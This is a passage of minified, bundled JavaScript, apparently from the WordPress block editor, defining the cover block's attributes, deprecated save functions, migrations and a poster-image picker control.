yle:!0,__experimentalFontWeight:!0}},interactivity:{clientNavigation:!0}},migrate:e=>{let{singleCommentLabel:t,multipleCommentsLabel:r,...a}=e;return be(a)},isEligible:({multipleCommentsLabel:e,singleCommentLabel:t})=>e||t,save:()=>null},Xj=[C0e,S0e];var{name:Jj}=Fk,eU={icon:Cl,edit:Yj,deprecated:Xj,example:{}},T0e=()=>N({name:Jj,metadata:Fk,settings:eU});var fE={};q(fE,{init:()=>V1e,metadata:()=>r5,name:()=>tG,settings:()=>a5});var dE=o(I(),1);var eG=o(U(),1);var Uk=o(U(),1),ke=o(T(),1),Gk=o(I(),1),U1=o(ue(),1);var Hk=o(Tr(),1),P0e={"top left":"is-position-top-left","top center":"is-position-top-center","top right":"is-position-top-right","center left":"is-position-center-left","center center":"is-position-center-center",center:"is-position-center-center","center right":"is-position-center-right","bottom left":"is-position-bottom-left","bottom center":"is-position-bottom-center","bottom right":"is-position-bottom-right"},Jt="image",kr="video",Rc="embed-video",tU=50;var B0e={x:.5,y:.5},jk=["image","video"];function $o({x:e,y:t}=B0e){return`${Math.round(e*100)}% ${Math.round(t*100)}%`}function Zi(e){return e===50||e===void 0?null:"has-background-dim-"+10*Math.round(e/10)}function rU(e){if(!e||!e.url&&!e.src)return{url:void 0,id:void 0};(0,Hk.isBlobURL)(e.url)&&(e.type=(0,Hk.getBlobTypeByURL)(e.url));let t;if(e.media_type)e.media_type===Jt?t=Jt:t=kr;else if(e.type&&(e.type===Jt||e.type===kr))t=e.type;else return;return{url:e.url||e.src,id:e.id,alt:e?.alt,backgroundType:t,...t===kr?{hasParallax:void 0}:{}}}function Wa(e){return!e||e==="center center"||e==="center"}function kn(e){return Wa(e)?"":P0e[e]}var se=o(v(),1);function Ts(e){return e?{backgroundImage:`url(${e})`}:{}}function zp(e){return e===0||e===50||!e?null:"has-background-dim-"+10*Math.round(e/10)}function Wk(e){return{...e,dimRatio:e.url?e.dimRatio:100}}function Ju(e){return e.tagName||(e={...e,tagName:"div"}),{...e}}var Vp={url:{type:"string"},id:{type:"number"},hasParallax:{type:"boolean",default:!1},dimRatio:{type:"number",default:50},overlayColor:{type:"string"},customOverlayColor:{type:"string"},backgroundType:{type:"string",default:"image"},focalPoint:{type:"object"}},G1={url:{type:"string"},id:{type:"number"},alt:{type:"string",source:"attribute",selector:"img",attribute:"alt",default:""},hasParallax:{type:"boolean",default:!1},isRepeated:{type:"boolean",default:!1},dimRatio:{type:"number",default:100},overlayColor:{type:"string"},customOverlayColor:{type:"string"},backgroundType:{type:"string",default:"image"},focalPoint:{type:"object"},minHeight:{type:"number"},minHeightUnit:{type:"string"},gradient:{type:"string"},customGradient:{type:"string"},contentPosition:{type:"string"},isDark:{type:"boolean",default:!0},allowedBlocks:{type:"array"},templateLock:{type:["string","boolean"],enum:["all","insert",!1]}},YI={...G1,useFeaturedImage:{type:"boolean",default:!1},tagName:{type:"string",default:"div"}},I0e={...YI,isUserOverlayColor:{type:"boolean"},sizeSlug:{type:"string"},alt:{type:"string",default:""}},Uf={anchor:!0,align:!0,html:!1,spacing:{padding:!0,__experimentalDefaultControls:{padding:!0}},color:{__experimentalDuotone:"> .wp-block-cover__image-background, > .wp-block-cover__video-background",text:!1,background:!1}},XI={...Uf,spacing:{padding:!0,margin:["top","bottom"],blockGap:!0,__experimentalDefaultControls:{padding:!0,blockGap:!0}},__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0,__experimentalDefaultControls:{color:!0,radius:!0,style:!0,width:!0}},color:{__experimentalDuotone:"> .wp-block-cover__image-background, > .wp-block-cover__video-background",heading:!0,text:!0,background:!1,__experimentalSkipSerialization:["gradients"],enableContrastChecker:!1},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},layout:{allowJustification:!1}},E0e={...XI,shadow:!0,dimensions:{aspectRatio:!0},interactivity:{clientNavigation:!0}},N0e={attributes:I0e,supports:E0e,save({attributes:e}){let{backgroundType:t,gradient:r,contentPosition:a,customGradient:n,customOverlayColor:i,dimRatio:l,focalPoint:s,useFeaturedImage:c,hasParallax:u,isDark:m,isRepeated:p,overlayColor:d,url:f,alt:h,id:g,minHeight:b,minHeightUnit:y,tagName:_,sizeSlug:x}=e,k=(0,ke.getColorClassName)("background-color",d),S=(0,ke.__experimentalGetGradientClass)(r),C=b&&y?`${b}${y}`:b,E=Jt===t,B=kr===t,D=!(u||p),M={minHeight:C||void 0},O={backgroundColor:k?void 0:i,background:n||void 0},R=s&&D?$o(s):void 0,F=f?`url(${f})`:void 0,P=$o(s),H=w({"is-light":!m,"has-parallax":u,"is-repeated":p,"has-custom-content-position":!Wa(a)},kn(a)),$=w("wp-block-cover__image-background",g?`wp-image-${g}`:null,{[`size-${x}`]:x,"has-parallax":u,"is-repeated":p}),V=r||n;return(0,se.jsxs)(_,{...ke.useBlockProps.save({className:H,style:M}),children:[(0,se.jsx)("span",{"aria-hidden":"true",className:w("wp-block-cover__background",k,Zi(l),{"has-background-dim":l!==void 0,"wp-block-cover__gradient-background":f&&V&&l!==0,"has-background-gradient":V,[S]:S}),style:O}),!c&&E&&f&&(D?(0,se.jsx)("img",{className:$,alt:h,src:f,style:{objectPosition:R},"data-object-fit":"cover","data-object-position":R}):(0,se.jsx)("div",{role:h?"img":void 0,"aria-label":h||void 0,className:$,style:{backgroundPosition:P,backgroundImage:F}})),B&&f&&(0,se.jsx)("video",{className:w("wp-block-cover__video-background","intrinsic-ignore"),autoPlay:!0,muted:!0,loop:!0,playsInline:!0,src:f,style:{objectPosition:R},"data-object-fit":"cover","data-object-position":R}),(0,se.jsx)("div",{...ke.useInnerBlocksProps.save({className:"wp-block-cover__inner-container"})})]})}},D0e={attributes:YI,supports:XI,save({attributes:e}){let{backgroundType:t,gradient:r,contentPosition:a,customGradient:n,customOverlayColor:i,dimRatio:l,focalPoint:s,useFeaturedImage:c,hasParallax:u,isDark:m,isRepeated:p,overlayColor:d,url:f,alt:h,id:g,minHeight:b,minHeightUnit:y,tagName:_}=e,x=(0,ke.getColorClassName)("background-color",d),k=(0,ke.__experimentalGetGradientClass)(r),S=b&&y?`${b}${y}`:b,C=Jt===t,E=kr===t,B=!(u||p),D={minHeight:S||void 0},M={backgroundColor:x?void 0:i,background:n||void 0},O=s&&B?$o(s):void 0,R=f?`url(${f})`:void 0,F=$o(s),P=w({"is-light":!m,"has-parallax":u,"is-repeated":p,"has-custom-content-position":!Wa(a)},kn(a)),H=w("wp-block-cover__image-background",g?`wp-image-${g}`:null,{"has-parallax":u,"is-repeated":p}),$=r||n;return(0,se.jsxs)(_,{...ke.useBlockProps.save({className:P,style:D}),children:[(0,se.jsx)("span",{"aria-hidden":"true",className:w("wp-block-cover__background",x,Zi(l),{"has-background-dim":l!==void 0,"wp-block-cover__gradient-background":f&&$&&l!==0,"has-background-gradient":$,[k]:k}),style:M}),!c&&C&&f&&(B?(0,se.jsx)("img",{className:H,alt:h,src:f,style:{objectPosition:O},"data-object-fit":"cover","data-object-position":O}):(0,se.jsx)("div",{role:"img",className:H,style:{backgroundPosition:F,backgroundImage:R}})),E&&f&&(0,se.jsx)("video",{className:w("wp-block-cover__video-background","intrinsic-ignore"),autoPlay:!0,muted:!0,loop:!0,playsInline:!0,src:f,style:{objectPosition:O},"data-object-fit":"cover","data-object-position":O}),(0,se.jsx)("div",{...ke.useInnerBlocksProps.save({className:"wp-block-cover__inner-container"})})]})}},L0e={attributes:YI,supports:XI,isEligible(e){return(e.customOverlayColor!==void 0||e.overlayColor!==void 0)&&e.isUserOverlayColor===void 0},migrate(e){return{...e,isUserOverlayColor:!0}},save({attributes:e}){let{backgroundType:t,gradient:r,contentPosition:a,customGradient:n,customOverlayColor:i,dimRatio:l,focalPoint:s,useFeaturedImage:c,hasParallax:u,isDark:m,isRepeated:p,overlayColor:d,url:f,alt:h,id:g,minHeight:b,minHeightUnit:y,tagName:_}=e,x=(0,ke.getColorClassName)("background-color",d),k=(0,ke.__experimentalGetGradientClass)(r),S=b&&y?`${b}${y}`:b,C=Jt===t,E=kr===t,B=!(u||p),D={minHeight:S||void 0},M={backgroundColor:x?void 0:i,background:n||void 0},O=s&&B?$o(s):void 0,R=f?`url(${f})`:void 0,F=$o(s),P=w({"is-light":!m,"has-parallax":u,"is-repeated":p,"has-custom-content-position":!Wa(a)},kn(a)),H=w("wp-block-cover__image-background",g?`wp-image-${g}`:null,{"has-parallax":u,"is-repeated":p}),$=r||n;return(0,se.jsxs)(_,{...ke.useBlockProps.save({className:P,style:D}),children:[(0,se.jsx)("span",{"aria-hidden":"true",className:w("wp-block-cover__background",x,Zi(l),{"has-background-dim":l!==void 0,"wp-block-cover__gradient-background":f&&$&&l!==0,"has-background-gradient":$,[k]:k}),style:M}),!c&&C&&f&&(B?(0,se.jsx)("img",{className:H,alt:h,src:f,style:{objectPosition:O},"data-object-fit":"cover","data-object-position":O}):(0,se.jsx)("div",{role:"img",className:H,style:{backgroundPosition:F,backgroundImage:R}})),E&&f&&(0,se.jsx)("video",{className:w("wp-block-cover__video-background","intrinsic-ignore"),autoPlay:!0,muted:!0,loop:!0,playsInline:!0,src:f,style:{objectPosition:O},"data-object-fit":"cover","data-object-position":O}),(0,se.jsx)("div",{...ke.useInnerBlocksProps.save({className:"wp-block-cover__inner-container"})})]})}},M0e={attributes:G1,supports:Uf,save({attributes:e}){let{backgroundType:t,gradient:r,contentPosition:a,customGradient:n,customOverlayColor:i,dimRatio:l,focalPoint:s,useFeaturedImage:c,hasParallax:u,isDark:m,isRepeated:p,overlayColor:d,url:f,alt:h,id:g,minHeight:b,minHeightUnit:y}=e,_=(0,ke.getColorClassName)("background-color",d),x=(0,ke.__experimentalGetGradientClass)(r),k=b&&y?`${b}${y}`:b,S=Jt===t,C=kr===t,E=!(u||p),B={minHeight:k||void 0},D={backgroundColor:_?void 0:i,background:n||void 0},M=s&&E?$o(s):void 0,O=f?`url(${f})`:void 0,R=$o(s),F=w({"is-light":!m,"has-parallax":u,"is-repeated":p,"has-custom-content-position":!Wa(a)},kn(a)),P=w("wp-block-cover__image-background",g?`wp-image-${g}`:null,{"has-parallax":u,"is-repeated":p}),H=r||n;return(0,se.jsxs)("div",{...ke.useBlockProps.save({className:F,style:B}),children:[(0,se.jsx)("span",{"aria-hidden":"true",className:w("wp-block-cover__background",_,Zi(l),{"has-background-dim":l!==void 0,"wp-block-cover__gradient-background":f&&H&&l!==0,"has-background-gradient":H,[x]:x}),style:D}),!c&&S&&f&&(E?(0,se.jsx)("img",{className:P,alt:h,src:f,style:{objectPosition:M},"data-object-fit":"cover","data-object-position":M}):(0,se.jsx)("div",{role:"img",className:P,style:{backgroundPosition:R,backgroundImage:O}})),C&&f&&(0,se.jsx)("video",{className:w("wp-block-cover__video-background","intrinsic-ignore"),autoPlay:!0,muted:!0,loop:!0,playsInline:!0,src:f,style:{objectPosition:M},"data-object-fit":"cover","data-object-position":M}),(0,se.jsx)("div",{...ke.useInnerBlocksProps.save({className:"wp-block-cover__inner-container"})})]})},migrate:Ju},A0e={attributes:G1,supports:Uf,save({attributes:e}){let{backgroundType:t,gradient:r,contentPosition:a,customGradient:n,customOverlayColor:i,dimRatio:l,focalPoint:s,useFeaturedImage:c,hasParallax:u,isDark:m,isRepeated:p,overlayColor:d,url:f,alt:h,id:g,minHeight:b,minHeightUnit:y}=e,_=(0,ke.getColorClassName)("background-color",d),x=(0,ke.__experimentalGetGradientClass)(r),k=b&&y?`${b}${y}`:b,S=Jt===t,C=kr===t,E=!(u||p),B={...S&&!E&&!c?Ts(f):{},minHeight:k||void 0},D={backgroundColor:_?void 0:i,background:n||void 0},M=s&&E?`${Math.round(s.x*100)}% ${Math.round(s.y*100)}%`:void 0,O=w({"is-light":!m,"has-parallax":u,"is-repeated":p,"has-custom-content-position":!Wa(a)},kn(a)),R=r||n;return(0,se.jsxs)("div",{...ke.useBlockProps.save({className:O,style:B}),children:[(0,se.jsx)("span",{"aria-hidden":"true",className:w("wp-block-cover__background",_,Zi(l),{"has-background-dim":l!==void 0,"wp-block-cover__gradient-background":f&&R&&l!==0,"has-background-gradient":R,[x]:x}),style:D}),!c&&S&&E&&f&&(0,se.jsx)("img",{className:w("wp-block-cover__image-background",g?`wp-image-${g}`:null),alt:h,src:f,style:{objectPosition:M},"data-object-fit":"cover","data-object-position":M}),C&&f&&(0,se.jsx)("video",{className:w("wp-block-cover__video-background","intrinsic-ignore"),autoPlay:!0,muted:!0,loop:!0,playsInline:!0,src:f,style:{objectPosition:M},"data-object-fit":"cover","data-object-position":M}),(0,se.jsx)("div",{...ke.useInnerBlocksProps.save({className:"wp-block-cover__inner-container"})})]})},migrate:Ju},R0e={attributes:G1,supports:Uf,save({attributes:e}){let{backgroundType:t,gradient:r,contentPosition:a,customGradient:n,customOverlayColor:i,dimRatio:l,focalPoint:s,hasParallax:c,isDark:u,isRepeated:m,overlayColor:p,url:d,alt:f,id:h,minHeight:g,minHeightUnit:b}=e,y=(0,ke.getColorClassName)("background-color",p),_=(0,ke.__experimentalGetGradientClass)(r),x=b?`${g}${b}`:g,k=Jt===t,S=kr===t,C=!(c||m),E={...k&&!C?Ts(d):{},minHeight:x||void 0},B={backgroundColor:y?void 0:i,background:n||void 0},D=s&&C?`${Math.round(s.x*100)}% ${Math.round(s.y*100)}%`:void 0,M=w({"is-light":!u,"has-parallax":c,"is-repeated":m,"has-custom-content-position":!Wa(a)},kn(a)),O=r||n;return(0,se.jsxs)("div",{...ke.useBlockProps.save({className:M,style:E}),children:[(0,se.jsx)("span",{"aria-hidden":"true",className:w("wp-block-cover__background",y,Zi(l),{"has-background-dim":l!==void 0,"wp-block-cover__gradient-background":d&&O&&l!==0,"has-background-gradient":O,[_]:_}),style:B}),k&&C&&d&&(0,se.jsx)("img",{className:w("wp-block-cover__image-background",h?`wp-image-${h}`:null),alt:f,src:d,style:{objectPosition:D},"data-object-fit":"cover","data-object-position":D}),S&&d&&(0,se.jsx)("video",{className:w("wp-block-cover__video-background","intrinsic-ignore"),autoPlay:!0,muted:!0,loop:!0,playsInline:!0,src:d,style:{objectPosition:D},"data-object-fit":"cover","data-object-position":D}),(0,se.jsx)("div",{...ke.useInnerBlocksProps.save({className:"wp-block-cover__inner-container"})})]})},migrate:Ju},z0e={attributes:G1,supports:Uf,save({attributes:e}){let{backgroundType:t,gradient:r,contentPosition:a,customGradient:n,customOverlayColor:i,dimRatio:l,focalPoint:s,hasParallax:c,isDark:u,isRepeated:m,overlayColor:p,url:d,alt:f,id:h,minHeight:g,minHeightUnit:b}=e,y=(0,ke.getColorClassName)("background-color",p),_=(0,ke.__experimentalGetGradientClass)(r),x=b?`${g}${b}`:g,k=Jt===t,S=kr===t,C=!(c||m),E={...k&&!C?Ts(d):{},minHeight:x||void 0},B={backgroundColor:y?void 0:i,background:n||void 0},D=s&&C?`${Math.round(s.x*100)}% ${Math.round(s.y*100)}%`:void 0,M=w({"is-light":!u,"has-parallax":c,"is-repeated":m,"has-custom-content-position":!Wa(a)},kn(a));return(0,se.jsxs)("div",{...ke.useBlockProps.save({className:M,style:E}),children:[(0,se.jsx)("span",{"aria-hidden":"true",className:w(y,Zi(l),"wp-block-cover__gradient-background",_,{"has-background-dim":l!==void 0,"has-background-gradient":r||n,[_]:!d&&_}),style:B}),k&&C&&d&&(0,se.jsx)("img",{className:w("wp-block-cover__image-background",h?`wp-image-${h}`:null),alt:f,src:d,style:{objectPosition:D},"data-object-fit":"cover","data-object-position":D}),S&&d&&(0,se.jsx)("video",{className:w("wp-block-cover__video-background","intrinsic-ignore"),autoPlay:!0,muted:!0,loop:!0,playsInline:!0,src:d,style:{objectPosition:D},"data-object-fit":"cover","data-object-position":D}),(0,se.jsx)("div",{...ke.useInnerBlocksProps.save({className:"wp-block-cover__inner-container"})})]})},migrate:Ju},V0e={attributes:{...Vp,isRepeated:{type:"boolean",default:!1},minHeight:{type:"number"},minHeightUnit:{type:"string"},gradient:{type:"string"},customGradient:{type:"string"},contentPosition:{type:"string"},alt:{type:"string",source:"attribute",selector:"img",attribute:"alt",default:""}},supports:Uf,save({attributes:e}){let{backgroundType:t,gradient:r,contentPosition:a,customGradient:n,customOverlayColor:i,dimRatio:l,focalPoint:s,hasParallax:c,isRepeated:u,overlayColor:m,url:p,alt:d,id:f,minHeight:h,minHeightUnit:g}=e,b=(0,ke.getColorClassName)("background-color",m),y=(0,ke.__experimentalGetGradientClass)(r),_=g?`${h}${g}`:h,x=Jt===t,k=kr===t,S=!(c||u),C={...x&&!S?Ts(p):{},backgroundColor:b?void 0:i,background:n&&!p?n:void 0,minHeight:_||void 0},E=s&&S?`${Math.round(s.x*100)}% ${Math.round(s.y*100)}%`:void 0,B=w(zp(l),b,{"has-background-dim":l!==0,"has-parallax":c,"is-repeated":u,"has-background-gradient":r||n,[y]:!p&&y,"has-custom-content-position":!Wa(a)},kn(a));return(0,se.jsxs)("div",{...ke.useBlockProps.save({className:B,style:C}),children:[p&&(r||n)&&l!==0&&(0,se.jsx)("span",{"aria-hidden":"true",className:w("wp-block-cover__gradient-background",y),style:n?{background:n}:void 0}),x&&S&&p&&(0,se.jsx)("img",{className:w("wp-block-cover__image-background",f?`wp-image-${f}`:null),alt:d,src:p,style:{objectPosition:E},"data-object-fit":"cover","data-object-position":E}),k&&p&&(0,se.jsx)("video",{className:w("wp-block-cover__video-background","intrinsic-ignore"),autoPlay:!0,muted:!0,loop:!0,playsInline:!0,src:p,style:{objectPosition:E},"data-object-fit":"cover","data-object-position":E}),(0,se.jsx)("div",{className:"wp-block-cover__inner-container",children:(0,se.jsx)(ke.InnerBlocks.Content,{})})]})},migrate:(0,U1.compose)(Wk,Ju)},F0e={attributes:{...Vp,isRepeated:{type:"boolean",default:!1},minHeight:{type:"number"},minHeightUnit:{type:"string"},gradient:{type:"string"},customGradient:{type:"string"},contentPosition:{type:"string"}},supports:{align:!0},save({attributes:e}){let{backgroundType:t,gradient:r,contentPosition:a,customGradient:n,customOverlayColor:i,dimRatio:l,focalPoint:s,hasParallax:c,isRepeated:u,overlayColor:m,url:p,minHeight:d,minHeightUnit:f}=e,h=(0,ke.getColorClassName)("background-color",m),g=(0,ke.__experimentalGetGradientClass)(r),b=f?`${d}${f}`:d,y=Jt===t,_=kr===t,x=y?Ts(p):{},k={};h||(x.backgroundColor=i),n&&!p&&(x.background=n),x.minHeight=b||void 0;let S;s&&(S=`${Math.round(s.x*100)}% ${Math.round(s.y*100)}%`,y&&!c&&(x.backgroundPosition=S),_&&(k.objectPosition=S));let C=w(zp(l),h,{"has-background-dim":l!==0,"has-parallax":c,"is-repeated":u,"has-background-gradient":r||n,[g]:!p&&g,"has-custom-content-position":!Wa(a)},kn(a));return(0,se.jsxs)("div",{...ke.useBlockProps.save({className:C,style:x}),children:[p&&(r||n)&&l!==0&&(0,se.jsx)("span",{"aria-hidden":"true",className:w("wp-block-cover__gradient-background",g),style:n?{background:n}:void 0}),_&&p&&(0,se.jsx)("video",{className:"wp-block-cover__video-background",autoPlay:!0,muted:!0,loop:!0,playsInline:!0,src:p,style:k}),(0,se.jsx)("div",{className:"wp-block-cover__inner-container",children:(0,se.jsx)(ke.InnerBlocks.Content,{})})]})},migrate:(0,U1.compose)(Wk,Ju)},O0e={attributes:{...Vp,minHeight:{type:"number"},gradient:{type:"string"},customGradient:{type:"string"}},supports:{align:!0},save({attributes:e}){let{backgroundType:t,gradient:r,customGradient:a,customOverlayColor:n,dimRatio:i,focalPoint:l,hasParallax:s,overlayColor:c,url:u,minHeight:m}=e,p=(0,ke.getColorClassName)("background-color",c),d=(0,ke.__experimentalGetGradientClass)(r),f=t===Jt?Ts(u):{};p||(f.backgroundColor=n),l&&!s&&(f.backgroundPosition=`${Math.round(l.x*100)}% ${Math.round(l.y*100)}%`),a&&!u&&(f.background=a),f.minHeight=m||void 0;let h=w(zp(i),p,{"has-background-dim":i!==0,"has-parallax":s,"has-background-gradient":a,[d]:!u&&d});return(0,se.jsxs)("div",{className:h,style:f,children:[u&&(r||a)&&i!==0&&(0,se.jsx)("span",{"aria-hidden":"true",className:w("wp-block-cover__gradient-background",d),style:a?{background:a}:void 0}),kr===t&&u&&(0,se.jsx)("video",{className:"wp-block-cover__video-background",autoPlay:!0,muted:!0,loop:!0,src:u}),(0,se.jsx)("div",{className:"wp-block-cover__inner-container",children:(0,se.jsx)(ke.InnerBlocks.Content,{})})]})},migrate:(0,U1.compose)(Wk,Ju)},H0e={attributes:{...Vp,minHeight:{type:"number"},gradient:{type:"string"},customGradient:{type:"string"}},supports:{align:!0},save({attributes:e}){let{backgroundType:t,gradient:r,customGradient:a,customOverlayColor:n,dimRatio:i,focalPoint:l,hasParallax:s,overlayColor:c,url:u,minHeight:m}=e,p=(0,ke.getColorClassName)("background-color",c),d=(0,ke.__experimentalGetGradientClass)(r),f=t===Jt?Ts(u):{};p||(f.backgroundColor=n),l&&!s&&(f.backgroundPosition=`${l.x*100}% ${l.y*100}%`),a&&!u&&(f.background=a),f.minHeight=m||void 0;let h=w(zp(i),p,{"has-background-dim":i!==0,"has-parallax":s,"has-background-gradient":a,[d]:!u&&d});return(0,se.jsxs)("div",{className:h,style:f,children:[u&&(r||a)&&i!==0&&(0,se.jsx)("span",{"aria-hidden":"true",className:w("wp-block-cover__gradient-background",d),style:a?{background:a}:void 0}),kr===t&&u&&(0,se.jsx)("video",{className:"wp-block-cover__video-background",autoPlay:!0,muted:!0,loop:!0,src:u}),(0,se.jsx)("div",{className:"wp-block-cover__inner-container",children:(0,se.jsx)(ke.InnerBlocks.Content,{})})]})},migrate:(0,U1.compose)(Wk,Ju)},j0e={attributes:{...Vp,title:{type:"string",source:"html",selector:"p"},contentAlign:{type:"string",default:"center"}},supports:{align:!0},save({attributes:e}){let{backgroundType:t,contentAlign:r,customOverlayColor:a,dimRatio:n,focalPoint:i,hasParallax:l,overlayColor:s,title:c,url:u}=e,m=(0,ke.getColorClassName)("background-color",s),p=t===Jt?Ts(u):{};m||(p.backgroundColor=a),i&&!l&&(p.backgroundPosition=`${i.x*100}% ${i.y*100}%`);let d=w(zp(n),m,{"has-background-dim":n!==0,"has-parallax":l,[`has-${r}-content`]:r!=="center"});return(0,se.jsxs)("div",{className:d,style:p,children:[kr===t&&u&&(0,se.jsx)("video",{className:"wp-block-cover__video-background",autoPlay:!0,muted:!0,loop:!0,src:u}),!ke.RichText.isEmpty(c)&&(0,se.jsx)(ke.RichText.Content,{tagName:"p",className:"wp-block-cover-text",value:c})]})},migrate(e){let t={...e,dimRatio:e.url?e.dimRatio:100,tagName:e.tagName?e.tagName:"div"},{title:r,contentAlign:a,...n}=t;return[n,[(0,Uk.createBlock)("core/paragraph",{content:e.title,style:{typography:{textAlign:e.contentAlign}},fontSize:"large",placeholder:(0,Gk.__)("Write title\u2026")})]]}},U0e={attributes:{...Vp,title:{type:"string",source:"html",selector:"p"},contentAlign:{type:"string",default:"center"},align:{type:"string"}},supports:{className:!1},save({attributes:e}){let{url:t,title:r,hasParallax:a,dimRatio:n,align:i,contentAlign:l,overlayColor:s,customOverlayColor:c}=e,u=(0,ke.getColorClassName)("background-color",s),m=Ts(t);u||(m.backgroundColor=c);let p=w("wp-block-cover-image",zp(n),u,{"has-background-dim":n!==0,"has-parallax":a,[`has-${l}-content`]:l!=="center"},i?`align${i}`:null);return(0,se.jsx)("div",{className:p,style:m,children:!ke.RichText.isEmpty(r)&&(0,se.jsx)(ke.RichText.Content,{tagName:"p",className:"wp-block-cover-image-text",value:r})})},migrate(e){let t={...e,dimRatio:e.url?e.dimRatio:100,tagName:e.tagName?e.tagName:"div"},{title:r,contentAlign:a,align:n,...i}=t;return[i,[(0,Uk.createBlock)("core/paragraph",{content:e.title,style:{typography:{textAlign:e.contentAlign}},fontSize:"large",placeholder:(0,Gk.__)("Write title\u2026")})]]}},G0e={attributes:{...Vp,title:{type:"string",source:"html",selector:"h2"},align:{type:"string"},contentAlign:{type:"string",default:"center"}},supports:{className:!1},save({attributes:e}){let{url:t,title:r,hasParallax:a,dimRatio:n,align:i}=e,l=Ts(t),s=w("wp-block-cover-image",zp(n),{"has-background-dim":n!==0,"has-parallax":a},i?`align${i}`:null);return(0,se.jsx)("section",{className:s,style:l,children:(0,se.jsx)(ke.RichText.Content,{tagName:"h2",value:r})})},migrate(e){let t={...e,dimRatio:e.url?e.dimRatio:100,tagName:e.tagName?e.tagName:"div"},{title:r,contentAlign:a,align:n,...i}=t;return[i,[(0,Uk.createBlock)("core/paragraph",{content:e.title,style:{typography:{textAlign:e.contentAlign}},fontSize:"large",placeholder:(0,Gk.__)("Write title\u2026")})]]}},oU=[N0e,D0e,L0e,M0e,A0e,R0e,z0e,V0e,F0e,O0e,H0e,j0e,U0e,G0e];var K1=o(Y(),1),rm=o(j(),1),Q1=o(A(),1),t5=o(ue(),1),_o=o(T(),1),mE=o(I(),1),tm=o(z(),1),qU=o(Tr(),1),ZU=o(yr(),1);var cU=o(j(),1),Ut=o(A(),1),uU=o(ue(),1),qo=o(T(),1),so=o(I(),1),JI=o(z(),1),mU=o(Y(),1);var Gf="full";var Wf=o(T(),1),nU=o(yr(),1),$a=o(A(),1),iU=o(Tr(),1),ni=o(I(),1),$k=o(j(),1),lU=o(ue(),1),qk=o(z(),1),ba=o(v(),1),aU=["image"];function sU({poster:e,onChange:t}){let r=(0,$k.useRef)(),[a,n]=(0,$k.useState)(!1),i=(0,lU.useInstanceId)(sU,"block-library-poster-image-description"),{getSettings:l}=(0,qk.useSelect)(Wf.store),{createErrorNotice:s}=(0,qk.useDispatch)(nU.store),c=m=>{l().mediaUpload({allowedTypes:aU,filesList:m,onFileChange:([p])=>{if((0,iU.isBlobURL)(p?.url)){n(!0);return}p&&t(p),n(!1)},onError:p=>{s(p,{id:"poster-image-upload-notice",type:"snackbar"}),n(!1)},multiple:!1})},u=()=>!e&&a?(0,ba.jsx)($a.Spinner,{}):e?(0,ni.__)("Replace"):(0,ni.__)("Set poster image");return(0,ba.jsx)(Wf.MediaUploadCheck,{children:(0,ba.jsxs)($a.__experimentalToolsPanelItem,{label:(0,ni.__)("Poster image"),isShownByDefault:!0,hasValue:()=>!!e,onDeselect:()=>t(void 0),children:[(0,ba.jsx)($a.BaseControl.VisualLabel,{children:(0,ni.__)("Poster image")}),(0,ba.jsx)(Wf.MediaUpload,{title:(0,ni.__)("Select poster image"),onSelect:t,allowedTypes:aU,render:({open:m})=>(0,ba.jsxs)("div",{className:"block-library-poster-image__container",children:[e&&(0,ba.jsxs)($a.Button,{__next40pxDefaultSize:!0,onClick:m,"aria-haspopup":"dialog","aria-label":(0,ni.__)("Edit or replace the poster image."),className:"block-library-poster-image__preview",disabled:a,accessibleWhenDisabled:!0,children:[(0,ba.jsx)("img",{src:e,alt:(0,ni.__)("Poster image preview"),className:"block-library-poster-image__preview-image"}),a&&(0,ba.jsx)($a.Spinner,{})]}),(0,ba.jsxs)($a.__experimentalHStack,{className:w("block-library-poster-image__actions",{"block-library-poster-image__actions-select":!e}),children:[(0,ba.jsx)($a.Button,{__next40pxDefaultSize:!0,onClick:m,ref:r,className:"block-library-poster-image__action","aria-describedby":i,"aria-haspopup":"dialog",variant:e?void 0:"secondary",disabled:a,accessibleWhenDisabled:!0,children:u()}),(0,ba.jsx)("p",{id:i,hidden:!0,children:e?(0,ni.sprintf)((0,ni.__)("The current poster image url is %s."),e):(0,ni.__)("There is no poster image currently selected.")}),!!e&&(0,ba.jsx)($a.Button,{__next40pxDefaultSize:!0,onClick:()=>{t(void 0),r.current.focus()},className:"block-library-poster-image__action",disabled:a,accessibleWhenDisabled:!0,children:(0,ni.__)("Remove")})]}),(0,ba.jsx)($a.DropZone,{onFilesDrop:c})]})})]})})}var Zk=sU;var ft=o(v(),1),{cleanEmptyObject:W0e,ResolutionTool:$0e,HTMLElementControl:q0e}=Z(qo.privateApis);function Z0e({onChange:e,onUnitChange:t,unit:r="px",value:a=""}){let i=`block-cover-height-input-${(0,uU.useInstanceId)(Ut.__experimentalUnitControl)}`,l=r==="px",[s]=(0,qo.useSettings)("spacing.units"),c=(0,Ut.__experimentalUseCustomUnits)({availableUnits:s||["px","em","rem","vw","vh"],defaultValues:{px:430,"%":20,em:20,rem:20,vw:20,vh:50}}),u=d=>{let f=d!==""?parseFloat(d):void 0;isNaN(f)&&f!==void 0||e(f)},m=(0,cU.useMemo)(()=>{let[d]=(0,Ut.__experimentalParseQuantityAndUnitFromRawValue)(a);return[d,r].join("")},[r,a]),p=l?tU:0;return(0,ft.jsx)(Ut.__experimentalUnitControl,{__next40pxDefaultSize:!0,label:(0,so.__)("Minimum height"),id:i,isResetValueOnUnitChange:!0,min:p,onChange:u,onUnitChange:t,units:c,value:m})}function pU({attributes:e,setAttributes:t,clientId:r,setOverlayColor:a,coverRef:n,currentSettings:i,updateDimRatio:l,featuredImage:s}){let{useFeaturedImage:c,id:u,dimRatio:m,focalPoint:p,hasParallax:d,isRepeated:f,minHeight:h,minHeightUnit:g,alt:b,tagName:y,poster:_}=e,{isVideoBackground:x,isImageBackground:k,mediaElement:S,url:C,overlayColor:E}=i,B=e.sizeSlug||Gf,{gradientValue:D,setGradient:M}=(0,qo.__experimentalUseGradient)(),{getSettings:O}=(0,JI.useSelect)(qo.store),R=O()?.imageSizes,F=(0,JI.useSelect)(J=>u&&k?J(mU.store).getEntityRecord("postType","attachment",u,{context:"view"}):null,[u,k]),P=c?s:F;function H(J){let oe=P?.media_details?.sizes?.[J]?.source_url;if(!oe)return null;t({url:oe,sizeSlug:J})}let 